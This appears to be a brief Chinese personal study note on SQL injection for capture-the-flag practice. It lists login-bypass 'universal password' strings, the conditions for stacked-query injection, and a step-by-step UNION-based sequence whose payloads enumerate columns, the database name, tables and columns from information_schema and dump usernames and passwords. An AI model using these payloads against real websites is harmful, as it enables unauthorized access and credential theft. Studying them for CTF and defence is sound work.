(仅供自己记录并复习学习内容 )
1.万能密码
先确认闭合方式,为1或’1‘或“1”
对应得到万能密码a or true #或a' or true #或a“ or true #
原理为先确认闭合方式,再通过截断使正常sql查询语句失效
2. 堆叠注入
通过传入结束符;+新的sql语句来获取想要的信息——通过结束符同时执行多条sql语句
使用条件较为苛刻:
(1)有sql注入漏洞
(2)可以同时执行多条sql语句
(3)结束符未被屏蔽
3.传统注入思路
(0)先确定是否存在sql注入漏洞,与sql注入类型
(1)登陆后爆字段。确认有几个字段
1' order by 1 %23
1' order by 2 %23
1' order by 3 %23
(2)看回显。意为哪些字段可回显到前端,如果第2,3字段回显,那后续要查找的信息就填在2,3字段
1' union select 1,2,3
(3)爆数据库。得到数据库名
1' union select 1,database(),version()
(4)爆数据库的表。得到表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
(5)爆表的列。得到列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA'
(6)读取内容,爆flag
1' union select 1,2,group_concat(id,username,password) from AAA%23&password=1
639

被折叠的 条评论
为什么被折叠?



